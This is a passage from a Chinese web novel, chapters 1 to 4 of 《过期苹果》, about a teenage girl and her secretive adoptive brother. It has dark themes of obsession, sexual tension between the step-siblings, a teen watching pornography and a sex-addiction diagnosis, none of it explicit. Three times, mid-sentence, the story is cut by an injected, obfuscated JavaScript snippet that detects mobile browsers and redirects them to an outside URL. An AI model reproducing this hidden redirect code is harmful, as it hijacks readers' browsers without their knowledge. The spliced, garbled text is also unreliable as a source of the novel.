《过期苹果》
1. 变质
在至今为止的人生里,梁初楹一直恨着梁聿。
爸妈离婚没两天,她才七八岁,妈妈刚拎着行李箱摔了家门走,气温哆哆嗦嗦地下降着,那些摔碎的玻璃杯残渣都还在原地,爸就往家里领进来一个孩子,比她小不到一岁。
这叫梁初楹很难不猜测,这就是他爸跟外遇生的小孩。
也许就是因为这个孩子,所以她家落得鸡犬不宁的地步、所以妈妈才会走。
梁聿改过名,他以前姓“崔”,梁初楹怀疑他那时候跟妈姓,回来认祖归宗以后就改了。
她在梁庆面前发过脾气,问他那孩子到底是谁,梁庆摘了眼镜揉一揉眉心,叫她别管那么多:“爸保证没有背叛过你们,梁聿是我朋友的孩子,他的事不是你这个小孩子应该在意的。”
她在心底冷笑,觉得她爸骗人,她从来不知道她爸还有个姓“崔”的朋友。
刚离婚,就马不停蹄把人领进家里来,估计再过不久,家里就不再有自己的一席之地了。
梁聿进门那天,临近过年,冷空气挨家挨户地造访,大雪覆盖华城几百里长路。
天色混沌,暴雪压塌供电线路,应急灯在楼道投下摇晃的虚影,家门口落满了车轮碾过的痕迹,间或夹着几串零散的鞋印,顷刻被新落下的雪覆盖。
梁庆是亲自开车去几十公里以外的老街区把梁聿接回来的,车辙印蔓延了一路,停在居民楼底下,梁聿拎着一个黑色书包下来,很礼貌地跟梁庆道谢。
“麻烦……爸爸了。”他叫不熟练。
梁庆的视线穿过镜片落在小孩子身上,停顿两秒后笑起来:“不当事,脑袋不疼了吧?”
梁聿若有所思地低着头,“嗯”一声以后就再没说话。
家里的窗户结了一层薄薄的霜,过年的窗花都贴不牢,纷纷掉了下来。
梁初楹趴在楼梯栏杆上,落地窗外是雪景,雪粒压弯枝头,她的眼神也冷若寒冰,大剌剌地盯着刚进家门的他。
梁聿那时候个子还不算高,穿得也很单薄,棉鞋被浸湿一大片,像没几件衣服一样,一件轻飘飘的白色薄绒袄子被风一吹就掀开一个角,围巾遮住大半张脸,眼睛里跟蒙了一层雾一样,模模糊糊的。
那时候梁初楹太小,也没想过,如果他爸真的心疼这个孩子,怎么会在这么冷的天一件衣服都不给他买,叫他穿一身春装就跑来。
他抬头看见梁初楹,小女孩丝毫不掩饰对梁聿的恶意,小拇指勾着唇角往两边扯,对他做鬼脸。梁聿眼神沉寂,透露出不符年龄的安静,淡漠盯了她几秒,像是因为近视而眯住,那眼神晦涩难懂,上上下下将她扫描了一遍,梁初楹莫名怵了一下。
下一秒,他又笑得很乖,足够迷惑人心,皮肤像雪一样白净,脸跟妖精似的,眼睛里模糊的雾似乎要化成水溢出来。
梁初楹默默把手放下来,在心底骂他装模作样,转身回房间里了。
梁聿确实是个心思很重的人,从小就这样,看上去倒是逆来顺受的,捡她扔下去的玩具,再一步一步跑上来还给他,梁初楹气不过,会在他面前把玩具又重新扔下去。
每当这时,梁聿牙齿抵住下唇,眸若死水,但那点表情快得几乎都捕捉不到,下一秒又莞尔,佯装无奈地跑下去重新捡给她,说姐姐不要再闹他玩儿了。
跟狗一样。
但只要梁庆不在旁边,他就没什么表情,最爱做的事情是安安静静地站在梁初楹背后盯着她看,阴森森的,那眼神总让她想起民俗画里缚满红线的怨偶。
梁初楹一直对他没什么好感,觉得他方方面面都惹人讨厌,还会做出一些幼稚的、小孩子在父母面前的争宠行为,以排挤梁聿。
然而,她有一点想错了。梁聿在家里似乎没什么地位,梁庆也并不是特别关注他,对梁初楹的行为也是睁一只眼闭一只眼。
梁庆第一次因为梁聿而教育她是二人上高中时,一起骑车回家的路上,她不小心把梁聿连人带车一起撞进池塘里了。
她上高中之后才学会骑自行车,当时被石子绊了一下,车轮一歪就朝旁边梁聿的车上撞了过去,他连人带车翻进下面的湖里,梁初楹登时慌了。
梁聿不会水,差点溺死,梁初楹立马骑回家叫人把他捞了起来,后来梁聿就高烧了将近一周,梁庆语重心长地教育了她好一阵。
梁初楹站在爸爸面前,两边的手指绞在一起,说她又不是故意的,也没想到会这样。
就在这个时候,梁聿微微转醒,脸因为发烧而泛红,睫毛不安地抖动,眼眶也烧成血红色,用滚烫的手牵住梁初楹,嗓音哑,断断续续地吐着热气:“……不怪姐姐,是我自己不小心。”
他像是很乏力,说完就又闭上眼睛,嘴唇发白,一直牵着梁初楹的手没松,热热的,但很有力气,并不像表面上病得这么厉害。
梁初楹没想到他会这么说,心里酸酸涨涨的,如同兜进来一只啄木鸟,一点一点啄弄着她的心,叫她愈发愧疚起来。
细细算来,梁聿没做过什么坏事,甚至对自己还不错,每年梁初楹过生日他都会拿出为数不多的零花钱给她送礼物,只是梁初楹没太在意过,向来是看都没看就不知道塞到哪里去了。
这次虽然不是出于她本意,但她确实差点害死梁聿,心里也挺过意不去,梁初楹抿唇,回握住梁聿的手,床上的人小臂僵了一下。
梁庆叹气扶额,说,她以后不许再跟梁聿置气,大家总得做一家人,何至于要把事情闹成这番田地。
梁初楹内心仍旧对父亲不满,不想承认这个跟自己差不多大的人是她弟弟,但做错就是做错,她再不喜欢这个人,也不能至他于死地。
于是她十分坦然地低头道了歉。
梁聿得了道歉,没几天病就好了,梁庆叫梁初楹在他病好以后两个人好好聊聊,要冰释前嫌,于是她切了一颗苹果,给梁聿端过去。
梁初楹敲敲房门,里面声音浅淡,叫她进去。
梁聿正坐在书桌前补落下的卷子,梁初楹是艺术生,学画画的,文化课压力没有他重,但是也没学得太好,第一年高考成绩够念西安美术学院,但她自己心里有执念,没去,又复读了一年,所以梁聿今年高三,她算高四。
屋子里陈设简单,桌椅都很老旧,是从梁初楹房间里搬出来的旧木桌,边缘布有不少划痕,瘸掉的一个脚被他用草稿纸垫起来。
梁初楹把果盘放在他手边,探头看了一眼他写的作业,各种公式和图形,她看得头痛,就记住了那只握笔的手。
大病过后,苍白无力,指甲盖都不是粉红色了,因为皮肤太薄,皮肉底下蜿蜒盘绕的血管都能看得很清楚,血管上留了一排整齐的针眼。
“我爸叫我在你醒了以后再好好道一次歉。”梁初楹说。
她别别扭扭的,声音低若蚊咛,语速飞快:“对不起。”
梁聿瞥了一眼她切的水果,轻轻笑:“姐姐真是没做过家事,苹果皮也没削,核也不剃,就这么切给我?”
“爱吃不吃!还挑三拣四的……”
梁初楹下意识伸手要把果盘端起来,那只布满了针眼的手蓦地又将她摁住。
体温不高,跟没有血在流动一样,他应该真的是妖精。
梁聿稍稍偏头,语气温和:“逗你玩儿的,姐姐第一次送我东西,我会吃掉的。”
这话说得好可怜,任是梁初楹,也不免皱了眉:“你应该很讨厌我才对吧,为什么还说不怪我?”
梁聿默然了一瞬,眼睛移到别的地方,又快速移回来,“姐姐不是说了你不是故意的吗?”
“就算是故意的……”他语调变柔和,“我也知道你不是真的坏,你只是误会我。”
他的指尖还停留在梁初楹手背上,微微用着力,笑容轻浮,语气平缓:“现在知道我并不像姐姐想的那样就行了。”
梁初楹顿了一下,把手抽出来,梁聿唇角滞住,视线仍旧定在原处。
她蹙一下眉,像是半信半疑,一句话
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159833|165016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也没说,古怪地看了他一眼,随即离开了梁聿的房间。
房门被“咔哒”一声关上,梁聿漆黑的瞳孔迁移到手边的苹果块上,果肉断面氧化出了锈色。
他面无表情地低睫,安静着用布满针孔的手叉起一块,在嘴里含了一会儿,没舍得咽,仿若能止渴。
“…………”
隔天,梁聿可以正常上学,不过梁初楹是在复读班,俩人碰不着面。
梁初楹吃不惯学校食堂,午餐一般都是梁庆或梁聿做好了压进保温桶里叫她带着,而梁庆恰好出差一周,这周家里的饭菜都得梁聿做。
她站在学校走廊里把饭盒打开,前两层是饭菜,第三层,是削得很漂亮的兔子苹果,跟工艺品一样。
她暗暗评价,梁聿的苹果确实切得比她好。
梁初楹拿起一个塞嘴里,甜得她眯起眼睛。
脆生生的,像是精心挑选过。
虽然梁初楹不再针对他,但是梁聿的存在毕竟破坏了自己的家庭,她还是很难说服自己跟他亲近起来。
二人的关系仍旧算是不冷不热,梁庆在家的时候,俩人还能被强迫搭几句话,现在梁庆不在,平时连说话的切入口都找不到。
但当日半夜,她听见房间里有细细的嘎吱嘎吱的声音,梁初楹倏地从床上下来,竖起耳朵仔细听,觉得像老鼠啃东西,于是她立马跑了出去,在走廊里踱来踱去,脚步声把梁聿惊醒。
他穿着过大的睡衣,乌发柔顺地垂在耳侧,在视线不明朗的情况下,右眼眼皮上那颗痣仍然清晰可见,锁骨上也有,不过没眼皮上那颗惹眼。
梁聿打开门问她怎么了。
家里就剩下他们两个人,梁初楹犹豫再三,只能向他求助:“我房间里好像有老鼠。”
梁聿思索了几秒,提议:“那你今天睡我房间?”
“你认真的?”她瞪大眼。
梁聿低低笑了几秒:“在想什么?我的意思是,怕就跟我换房间。”
他指了指身后,梁聿的房间是原来的客房,空间没有她的大,摆了一张两米的床和一张长方形旧木桌子,连窗帘的质量都很不好,非常透光,敏感一点的人估计睡不踏实。
但梁初楹向来不会苦了自己。
她没有推拒,刚走进去没几步,脚尖踢到什么东西,梁初楹捡起来一看,动作立刻变得极为僵硬。
是三级片原碟。
她好一会儿说不出话来,梁聿的视线也顺着她搭在肩上的头发落向她手中,他连一点羞耻的情绪都没有,神态自若:“惊讶什么,这不是姐姐之前溜进我房间,放在我枕头底下的吗?”
就是因为是自己干的,梁初楹才觉得脸热,说话也难得结巴起来:“我……你为什么不扔掉?”
“我以为这是你的品味。”他不紧不慢地说,接过她手里的碟片,再抬眼,漂亮的眼睛追着她窘迫的表情不放,似乎觉得好玩,玩味地喊她,“你自己看过吗,姐姐?”
“当然没有。”梁初楹鄙夷。
梁聿点点头:“我还以为是你特意挑选给我的,看来你不知道这碟里的主角是什么关系。”
他笑了,轻张唇齿,突然放慢语速念:
“红线是藏在血管里的,你不要不承认。”
听见这话的瞬间,梁初楹的脸乍一下变得煞白,难以置信地看向他,怀疑起自己的耳朵。
梁聿注意到她的表情,眉眼之间显得更加深不可测,笑声从他淡红的唇缝间溢出来,连胸腔都在震动。
他摸着方形碟片盒子的边沿,解释着:“这是里面的一句台词,我印象很深。”
梁聿意有所指地看向她,那眼睛半弯着,睫毛在眼下投出细密的阴影,他的目光如涓涓细流一样与室内微弱的光线融为一体,粘稠凝滞,又极富攻击力,如同细密的针线,要将自己缝进眼前人的眼珠里。
“所以当初姐姐把这个放进我房间,叫我很是……”梁聿讨好似地看着她,说,“心情复杂。”
2. 变质
梁聿把碟片捡起来以后随手往书桌上扔了一下,塑料壳子撞击木桌发出细碎的声音,梁初楹有一秒心跳得飞快,听见是台词后又稍稍沉下去些许。
他捞过椅背上搭着的校服和书包,面上挂着柔软笑意,向梁初楹道晚安,梁初楹拧眉瞪他,觉得自己才给他一点好脸色他就开始耍花招,于是一言未发,掀了被子上床,匆匆翻了个身,面朝墙睡着,闭紧了眼睛。
屋子里的空气不流通,一点细节性的呼吸都被无限放大,梁初楹感知到他的脚步在自己床边停了一会儿,梁聿的体温似乎不需要介质就能无限扩散,像某种毒药一般麻痹人的神经。
他驻足在她床边,不知道是以怎样的眼神看她,兴许对于她爱答不理的态度有些恼怒,但大概率不可能……因为她从未见过梁聿生气的样子,这个人虚伪到似乎没有真实的脾性。
厚底拖鞋踩踏的声音渐行渐远,门被合上,梁初楹才睁开眼睛松掉一口气。
她是第一次在梁聿房间里过夜,梁初楹从床上坐起来,表情算不上明朗,抓了一把头发,从睡衣里掏出手机,大半夜的给梁庆发消息,问他什么时候回来。
梁庆也没睡。他爸经常因为工作晚睡,在家的时候,梁初楹经常能听见他凌晨起来接电话的声音,这房子建材差,不太隔音。
“下周回去,家里出什么事了?”
梁初楹眼睛乍一见光,有些模糊,她就懒得打字,直接摁语音,一字一顿抱怨:“出大事了,我房间里跑进来老鼠了,你什么时候找个家政来把家里整理一下啊。”
“家里住俩男人,也没人关心我的身心健康,以前妈妈在的时候才不是这样。”梁初楹碎碎念叨起来,很怀念那时候的光阴,也很爱在他爸面前提妈妈。
梁庆很久没回,梁初楹心里就越来越气,语速很快,开始旧事重提:“你那时候往家里领人的时候考虑过我的感受了吗?你还给他改姓,以后你们一家人好好过日子,反正我才是那个外人。”
良久,她爸回了言简意赅的一句话:“不是你想的那样。有事先找梁聿给你解决。”
梁初楹恨不得直接把梁庆拉进黑名单里再也不跟他讲话,她忿忿拿脚踹了一下被子,然后又直直躺下去。
窗帘太透光,小区外面那条马路的路灯大亮,照得整个屋子都被光浸透了,梁初楹怎么都睡不着,她翻身起来,突然看见梁聿扔在书桌上的那张碟片。
——“红线是藏在血管里的,你不要不承认。”
耳膜一痛,魔音贯耳,他掺着笑意的嗓音在梁初楹脑子里来回着循环播放,要把大脑绕宕机。
这碟子还是她当初花钱找了好几个男同学给她从外国弄来的,就是专门为了破坏梁聿在梁庆心中的形象,因为她爸一直说:你不如梁聿稳重。
这种话一听多了,逆反心理直直冲上来,梁初楹就想往梁聿身上泼点脏水。
无论是他自己烂掉也好,还是梁初楹把他抹黑了也好,她就是自私地要把这个突然闯进她家里的外来者排挤出去。
不过经由溺水事件以后,梁初楹已经收敛许多,她姑且容忍梁聿在家里的存在,可以跟他坐在一张桌子上吃饭,也可以在家里出现老鼠的时候勉为其难地借他的房间躲一躲,总之,这又不能代表什么……
梁初楹脑子里想了许多,心烦意乱睡不着,想找点东西打发时间,青春期的时候难免好奇。
碟片的包装已经被梁聿撕毁,梁初楹依稀记得上面印的海报极为露骨,收到的时候她直接给塞书包里了,压根不敢拿出来看。
虽然房间的空间不大,但是梁聿还算擅长收拾布置,房间很整洁,颜色的搭配也叫人赏心——呃,还算看得过去。脚底下的地毯软绵绵的,梁初楹干脆脱了拖鞋,赤脚踩在地毯上,然后蹲下去把光碟摁进光盘机里。
机器将冰凉的碟片吃进去,屏幕的蓝色倏地一下跳转,梁初楹急忙把音量降低,凝神看着镜头里摇晃的灯光效果,白藕一般的人体,眉头越皱越紧,一到关键时候就止住呼吸,咬一下指甲,抬头看天花板分散注意力。
夜里气温低,本来该觉得冷的,现在愣是给梁初楹看得浑身冒火。
她心里不住贬低着,他们男人居然把这种东西当宝贝。
低级、烂俗、下流、恶心。
超廉价的情景演绎,完全是为了刺激而刺激,到底是什么样的人才会在这种背德的身份条件下交欢?
扬声器的声音还是太大了,梁初楹继续往低了调,一直没有看到梁聿说的那句台词的部分,她正打算快进,这时候听见几道很轻的敲墙的声音。
梁初楹做了亏心事,难免吓一跳,盯着那堵墙没动,梁聿的声音隔着墙穿过来,像隔着树影层层的深林,吐字变得闷、模糊难辨,也听不清情绪。
“我不介意姐姐偷看我的东西。”停顿两秒,继续,“但是,声音是不是可以小一点?”
她脑袋宕机一会儿,随即飞快地把视频关掉,光碟取出来,再手忙脚乱地塞回盒子里,屁股离开凳子以后几个跨步就钻到床上去,躺在床上眼睛大大睁着,假装什么都没发生过。
疯了吧?
刚刚是谁在看那些恶心的东西?
反正不是她,她怎么会对这种下三滥的东西感兴趣?
睡觉睡觉,一定是困了,居然做这么离谱的梦。
……哈哈。
梁初楹逃避似地闭上眼睛。
整栋楼再次安静下来,树枝的影子隔着薄薄的窗帘晃啊晃,只剩几道细细长长的黑线落入地板,楼下的路灯灭掉一盏,灯火减弱。
风声四起,明明要入冬了,空气却如同一锅沸水,不断冒泡、热雾升腾,沉沉地包裹住难猜的心绪。
四下里阒然寂静,梁聿倾耳听了一会儿,隔壁发出几道重重的脚步声以后就再也没出现别的声音。
他兀地喘出一口气,将攥紧的被角松开,被他握过的部分皱巴巴地团在一起。
梁聿推开被子,牙齿都磋磨着,分散掉自己的注意力,缓慢靠墙坐起,灼热的身体贴着冰凉的墙面。
他现在穿的睡衣还是梁庆的,对他而言大了许多,在梁初楹的被子里捂了一会儿以后,这点儿布料浸满了她身体的气息,黏在皮肤上,无孔不入地融进梁聿的呼吸里。
这味道对他来说是毒/品,绝不能触碰,否则会成瘾。
皮肤的每一个毛孔都有细小的虫在咬,骨头里也全长满了虫,要把骨髓都吃空,叫他不得不卑躬屈膝地低下头去。
梁聿讨厌自己得这样恶心的病。
——这全都要怪梁初楹。
窗帘一下一下地翻起一个角,秋夜的风鱼贯而入,带着很淡的血腥气,稍微浇熄了一点骨头缝里漫生出的痒意,梁聿冷静了些许,双腿交叠着,阖着眼平复心绪。
梁初楹书桌上摊着的画纸被吹起,擦过桌沿,发出细小的声音,最后不偏不倚盖在垃圾桶上,遮住老鼠被美工刀穿透的尸体。
夜里空气湿冷,脏污的血味被困在垃圾桶里,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159834|165016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不再散出去。
梁聿眼里黑雾蕴沉,他缓了几个呼吸,无言地从床上起来,穿好拖鞋去洗手间冲了澡,当晚连被子都没盖,在梁初楹床上冻了整整一夜。
他睡得很是不安,经常做同一个梦,梦见车祸,梦见梁庆拽着他一只手将他拽进梁家,梦见他一抬头,看见的是楼上梁初楹那双水盈盈又丝毫不掩饰排斥的双眸。
他的记忆时常是混乱的,很多时候梁聿都会自暴自弃地想,如果梁初楹真恨他恨到能拿刀穿透他的身体,自己就不至于这般整日整夜地煎熬。
身体下贱,心也没好到哪儿去。
“…………”
第二天早上,梁初楹起床下楼,发现梁聿已经系着围裙把早饭处理好了。
他刚从冰箱里把果酱拿出来,上挑的眼睛轻眯了起来,嗓音柔和:“正打算去喊你,要先吃早饭吗?”
因为昨夜的乌龙,梁初楹精神不算太好,昏昏沉沉地点了头,咬了一口面包,心不在焉地嚼,琢磨了很久,跟梁聿说:“我昨天晚上给爸爸发过消息了,他说会请家政过来处理老鼠的事情。”
她看一眼桌上的早餐:“我的午饭以后也让家政阿姨做吧,不麻烦你了。”
梁聿的手一顿,唇线绷得僵硬,但语气还是拿捏得恰到好处:“不喜欢最近菜的口味吗?”
他手指淡然划过瓷盘边沿,眼皮虚虚垂着,表情看上去有些难过,然后开始旧事重提:“昨天晚上——”
“昨天晚上我睡得很早,什么也没有发生。”梁初楹慌了一瞬,立马截断他的话,咬着下唇眼神飘忽不定。
梁聿将抹好果酱的面包端上桌,握住梁初楹手腕,指尖漫不经心地滑下毫厘距离,叫人觉得很痒。
从脊背到指尖的连线都变得僵硬,梁初楹只能看着梁聿把她面前的面包换掉。
“吃这个吧。”梁聿淡笑,眼里依旧黑沉沉的,“不用担心,我什么都不会提,只是想说那只老鼠已经被我处理掉了,今晚回自己房间睡。”
“在姐姐房间睡,叫人觉得很是折磨。”他敛住眼睫,心绪不明。
梁初楹不自在地将手鞭到背后擦了擦,被梁聿捉了个正着,他挺轻地“哈”了一声,玩笑般开口:“还是那么讨厌我,碰一下都嫌脏?”
“不是。”她皱着眉,极力忍耐着,“有点痒。”
虽然看那部片子的时候她囫囵吞枣,没能真的记住什么东西,但是认知突然被撕开一个大洞,对于这种接触总还是觉得有些介意。
梁初楹经常感到很不妙,虽然她心里是不喜梁聿的,但是不得不说他很会照顾人,体贴到梁初楹开始恐慌……
美洲有一种叫做“勒颈无花果”的植物,可以用修长的根系盘绕在树干上,区别于普通寄生植物,它最后能将种子种植在另一棵树里,在寄生的同时将宿主杀死。
最后是她会将种子埋进梁聿的身体里,抑或是会反过来,似乎都不算什么好结果。
梁初楹觉得自己不能当无法独立行走的寄生植物,跟梁聿这样心思重又敏感的人周旋下去又是个很费脑筋的活动,于是她强行转了话题:“我还有个作业没画好,今天就不吃早饭了,急着去画室。”
她逃似地拎起沙发上的书包,拿了自行车钥匙就出门,落地窗映出她匆匆离开的身影。
梁聿定定看着,掐了下手指,视线沉沉坠回盘子里,他散漫地把梁初楹咬剩下的面包默默吃完,剩下的都跟那只老鼠的尸体闷在同一个垃圾袋里被他丢了出去。
3. 变质
因为没在家吃早饭,梁初楹到教室很早,站着背了一会儿书,下了早自习以后就得去画室画画,祖佳琪说她要去超市,要不要帮忙带早饭。
梁初楹扑在课桌上昏昏欲睡:“要,给我带袋儿牛奶,再加个三明治吧。”
祖佳琪把饭卡揣兜里,笑嘻嘻地打趣:“怎么,今天你贴心的弟弟没给你做饭?”
应该是做了的,只是她不想拿。
梁初楹把头从胳膊里抬起来,看上去不太高兴:“他又不是我家的仆人。”
“好稀奇,我以为你一直是把你弟弟当仆人使唤的。”祖佳琪摇头叹息,“有这么好的弟弟就知足吧,多少人的弟弟只会打游戏加伸手找姐姐要钱,你弟弟不仅不找你要钱,还成天给你买东西。”
她自顾自说着,也不知梁初楹听进心里去了没有,只见她又趴了回去,松软的马尾辫直直垂落,被窗外来的风吹得不住晃。
梁初楹抬抬眼睛看着窗外,慢慢把眼睛闭上。
草草吃过饭以后,她拎着笔盒去画室画素描,打开铅笔盒找了半天,没看见自己削铅笔用的小刀,最后只好伸手找祖佳琪借。
复读一年,梁初楹的画技怎么说也比半路出家的学生要好不少,画室的老师说,只要她文化分考到五百多分,能冲一冲清华美院。
其实梁初楹活得漫无目的,除了画画之外没有什么特别想要去做的事情,如果一定要说出一个的话,大概就是希望她能有朝一日站在王依曼面前,说,我认为我选的这条路没有错。
她对父母的感情很复杂,梁庆对自己很好,供她吃供她穿,但她介意梁聿的存在;王依曼对她一直很严厉,离婚以后就毫不留情地抛掉她了,一个电话都没有打来。
她连因为“爱妈妈”而“恨爸爸”都做不到,条件根本不成立。
梁初楹一边胡思乱想,手腕一边上下晃动往素描纸上排线,注意力完全分散。
细细的排线飞出了轮廓,老师拿炭笔敲一下她后脑勺,提醒:“想什么呢?看看你乱七八糟的线。”
“对不起。”梁初楹抿抿嘴,拿橡皮把线擦了。
上午在画室把上周遗留的作业画完,在最后一节自习课的时候回了教室写文化课的作业,梁初楹看见立体几何,下意识就当立体静物画起来,自动铅笔摩擦着粗糙的卷子纸沙沙作响,正沉浸其中的时候,祖佳琪突然拍拍她肩膀,叫她往门口看。
梁初楹的笔尖顿住,看见梁聿正站在门口。
她皱眉,出教室的时候把门也关上了。
梁聿把保温袋拎给她:“你走的时候忘带这个了。”
他是真不懂还是假不懂?明摆着自己是故意不想吃他做的饭。
“我——”
“都是你爱吃的菜色。”梁聿先一步开口,“实在讨厌的话,倒掉吧,别让我知道就好。”
话都说到这份上了,况且自己才说过要跟他和平相处,梁初楹觉得自己的舌头像石头一样硬,在口腔里绕了几个圈才说出口:“哦……那我谢谢、弟弟?”
她想到她爸的话,犹豫了很久才无比艰难地发声。
第一次这么叫他,做了莫大的心理准备,表示已经接受他了。
但梁聿似乎并不算高兴,甚至眉毛还压低了一些,笑意虽然还挂在脸上,但眼睛像将熄的烟头摁在报纸上以后两个烧得焦黑的洞。
他的声调拉成一条平线:“第一次听你这么喊,不过以后还是别喊这个称呼了。”
梁初楹看他,梁聿说:“有点不太适应。”
他强调:“所以别叫了。”
把提手塞进她手里,梁聿的手指多停留了一会儿,似乎确认她能拿稳,才松掉。
“对了。”他像是才想起来,“我跟爸说过了,老鼠的事情我能处理好,不用请家政,所以以后的午饭还是我来准备吧,姐姐的喜恶我最清楚,这方面没人比我做得更好吧?”
虽然他这么善解人意地说了,梁初楹却一点儿都不高兴,她又想到梁庆说的那句“梁聿比你稳重”,心里就总是很别扭,不太想承认自己离开了梁聿就什么都干不好。
“不用了。”梁初楹坚持,“不要再给我送饭了,我想和朋友一起去食堂吃。”
“是么?”梁聿眼里的温度缓慢降下来,他偏头往教室里看了一圈,眼底明明灭灭的,语速极慢地呢喃着:“离开我也能过得好吗。”
这句话说得太过于轻,风一吹就散掉了。
梁初楹拎着饭桶要进教室:“这次我会吃掉,以后不用你再做了,我自己能照顾好自己。”
关门的瞬间,她似乎听见门外的人笑了一声。只是那笑声跟林子里的鸟鸣杂糅得难分彼此,叫梁初楹疑心自己听错。
周五早放学,不上晚自习,祖佳琪喊上梁初楹一起去买东西,祖佳琪爷爷要过八十大寿,她想给老头买顶厚实的棉绒帽子。
没几个月就要过年,祖佳琪说:“我爷爷是从老家被接过来的,过来了才知道南方冬天没有暖气管,他怕冷不怕热,买顶帽子叫他出门晨练的时候免得冻脑袋。”
她挑得起劲儿,梁初楹在一旁陪着,随手翻几件衣服,祖佳琪看她挺无聊,提议着:“你也可以给你家里人挑一件啊,你爸过生日的时候送。”
梁初楹摇头:“我爸生日在六月份,已经过了,我买个礼物放一年?到时候我早忘记了。”
“那你弟弟呢?你弟弟总给你买,你不回一件?他过生日的时候你不送他礼物吗?”
她愣神很久,发觉自己根本不知道梁聿的生日。
他是被梁庆突然带回家的,梁初楹对他的一切一无所知,梁庆从来没提过他的生日,梁聿自己也不说,一年一年的,就这么过着,谁也没想起来提。
听到祖佳琪这么问了以后她才意识到:梁聿在他们家从没过过一次生日。
“我不知道。”梁初楹泄气地回答。
这差别比素描上黑白灰的关系还鲜明,梁聿全然知晓她的喜恶,梁初楹却总是隔雾观花,对他的事情一概不知。
店里的销售员满面笑容地迎上来:“要给家里男性送礼物吗?看看这件呢,店里的最新款,线上都还没有货呢,好几家门店卖得最火的一件,我们店里也断码
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159835|165016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,就剩这么两件。”
梁初楹稍微看了一眼,鹅绒,更松软暖和。
那店员舌灿莲花:“你就摸摸这质量,现在办个会员卡,可以直接打六折,在别的地方哪儿有这个价?”
她盯着那件白色的短款羽绒服看了很久,直到祖佳琪把老人生日礼物的帽子打包好来找她,她才应下:“包起来吧,包好看一点。”
算了,就当赔礼道歉了,毕竟上次切个苹果也没切好,这次总该算她诚心诚意了吧?
看吧,她其实也懂这些人情事故的,也能妥善处理好人际关系,才不像梁庆说的不稳重,她可以面面俱到地做好的,不过是之前不想做而已。梁初楹有些骄傲地想。
回家把书包扔在沙发上以后,她提着半条腿那么大的纸袋子上楼,敲敲梁聿的房间,发现他不在。
梁初楹狐疑地转开门,房间里面还保持着她早晨起床的样子,连被她蹬开的被子都没叠,还凌乱着,梁聿也没在房间里,也许是跟朋友出去玩儿了。
她从没见过梁聿的朋友,因此也只是有这么个猜测。
不在正好,省得她还要当面再道一次歉,梁初楹觉得这行为会很丢脸。
她拎着纸袋子进屋,四处看了看,想着放在哪里最显眼,换了好几个位置都怕梁聿发现不了,最后还是打算放进他衣柜里。
梁初楹想写个纸条,这样就不用再找机会特地解释了,她在梁聿的书桌上连根笔都没找到,于是挨个拉开他的抽屉。
在最深最大的那个抽屉里,有个破掉的兔子娃娃,梁初楹拧着眉细细看了眼,这是自己之前的玩具,去电玩城的时候梁聿给她抓的,她当时又爱又恨,晚上既想抱着睡觉但是又觉得膈应,就一直摆在床头,后来也忘记为什么,梁聿拎着兔子耳朵,低眉顺眼地跟她道歉,说既然不喜欢他抓的玩具就毁掉吧,于是把兔子头给扯坏了。
梁初楹当时小,抱着自己的兔子娃娃哭得好伤心,问梁聿干嘛扯坏她最喜欢的娃娃。
“最喜欢吗?”梁聿黑黑的眼睛看看她再看看娃娃,又故意装委屈,“可你从来不抱它。”
“我晚上会偷偷抱的!要你管啊!”梁初楹把兔子扔他身上,跑进书房里趴在梁庆腿上哭,梁庆叫梁聿再给她抓一个,后来却再也没抓着。
怎么会还在这里?甚至连脑袋都给缝好了……梁初楹翻来覆去地看了一下,针脚布得很密。
兔子底下还有个档案袋,梁初楹犹豫了一下,等待了三秒,确认家里没有任何人的声音,于是打开了,把里面几张纸拿出来,发现是梁聿的病历:
脑部受过撞击。
溺水发烧。
还有条稀奇的,写得很长。
“出身于不合群和僵化家庭下,过早接触性知识,有不良性幻想对象,患者在应激期间,或当愤怒、抑郁、焦虑、烦躁不安等时,更易出现——”
“吱呀”一声,房间门被打开,梁聿斜靠在门口,黑发半遮住眼,幽幽地轻声唤她:“姐姐?”
梁初楹的视线下移,扫到最后几个字:
——“性成瘾行为。”
4. 变质
“姐姐很喜欢偷看我的东西。”
他声若鬼魅,逐渐靠近,绕过呆滞的梁初楹,弯下腰来捡起从她手里掉出去的纸页。
周身没有寒意,不像是刚从外面赶回来的,甚至连衣角都是温热的。梁初楹偏头看着他的眉眼,梁聿一点儿慌张的情绪都没有,极为淡定自若,乌色的睫垂落着,仔细把东西收拾好,温凉的视线一转,对上梁初楹的眼睛,叫她心尖一震。
